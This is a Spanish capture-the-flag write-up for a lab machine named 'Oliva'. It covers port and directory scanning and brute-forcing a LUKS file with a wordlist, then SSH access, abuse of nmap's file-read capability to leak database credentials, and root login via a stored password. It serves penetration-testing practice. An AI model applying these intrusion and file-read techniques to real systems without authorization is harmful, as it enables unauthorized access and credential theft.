Autor: Sml
Dificultad: Fácil
Reconocimiento
Lo primero es realizar una enumeración de los puertos abiertos.
$ sudo nmap -p- 192.168.1.108
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 10:59 EDT
Nmap scan report for 192.168.1.108
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:73:5D:77 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
80 (http)
Continuo con una busqueda de subdirectorios y ficheros utilizando gobuster.
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,html,bak -u http://192.168.1.108
[...]
/index.php (Status: 200) [Size: 69]
/index.html (Status: 200) [Size: 615]
En index.php podemos descargar un archivo con una supuesta contraseña.
Tras descargar el archivo, utilizando la herramienta file compruebo que es un archivo encriptado LUKS v2.
$ file oliva
oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offse
Explotación
Utilizando la herramienta Bruteforce Luks realizo un ataque de fuerza bruta para obtener la contraseña de la encriptación.
$ sudo bruteforce-luks -t 4 -f /usr/share/wordlists/rockyou.txt oliva
[sudo] password for kali:
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
Tried passwords: 970
Tried passwords per second: 1.695804
Last tried password: imissyou
Password found: b*****
Una vez obtendia la contraseña puedo abrir el archivo para luego montarlo desde el gestor de archivos.
# cryptsetup open --type luks oliva oliva
Enter passphrase for oliva: b*****
Con la contraseña del archivo mypass.txt puedo conectarme como el usuario Oliva mediante ssh.
$ ssh oliva@192.168.1.108
[...]
Last login: Tue Jul 4 10:27:00 2023 from 192.168.0.100
oliva@oliva:~$ :)
Escalado de privilegios.
Una vez dentro de la máquina, ejecuto linpeas.sh.
[...]
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
Current env capabilities:
Current: =
Current proc capabilities:
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
Parent Shell capabilities:
0x0000000000000000=
Files with capabilities (limited to 50):
/usr/bin/nmap cap_dac_read_search=eip
/usr/bin/ping cap_net_raw=ep
[...]
[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
[...]
Entre todos los datos que ofrece hay que destacar que nmap tiene la siguiente capabilitie “cap_dac_read_search=eip”, la cual permite leer archivos. Tambien tener en cuenta que hay una base de datos mysql en el puerto 3306 ejecutandose.
Tras leer diversos ficheros, en index.php encuentro usuario y contraseña de la base de datos.
oliva@oliva:/tmp$ nmap localhost -iL /var/www/html/index.php
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 17:21 CEST
Failed to resolve "Hi".
Failed to resolve "oliva,".
Failed to resolve "Here".
Failed to resolve "the".
Failed to resolve "pass".
Failed to resolve "to".
Failed to resolve "obtain".
Failed to resolve "root:".
Failed to resolve "<?php".
Failed to resolve "$dbname".
Failed to resolve "=".
Failed to resolve "'easy';".
Failed to resolve "$dbuser".
Failed to resolve "=".
Failed to resolve "'root';".
Failed to resolve "$dbpass".
Failed to resolve "=".
Failed to resolve "'S**********';".
Failed to resolve "$dbhost".
Failed to resolve "=".
Failed to resolve "'localhost';".
Failed to resolve "?>".
Failed to resolve "<a".
Unable to split netmask from target expression: "href="oliva">CLICK!</a>"
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.56 seconds
Una vez obtenida la contraseña, me conecto a la base de datos y encuentro el usuario root y su contraseña.
MariaDB [easy]> select * from logging;
+--------+------+--------------+
| id_log | uzer | pazz |
+--------+------+--------------+
| 1 | root | O*********** |
+--------+------+--------------+
1 row in set (0,006 sec)
Con esto ya puedo iniciar sesión.
oliva@oliva:/tmp$ su root
Contraseña:
root@oliva:/tmp# id
uid=0(root) gid=0(root) grupos=0(root)
root@oliva:/tmp# :)
Muchas gracias a Sml por esta máquina.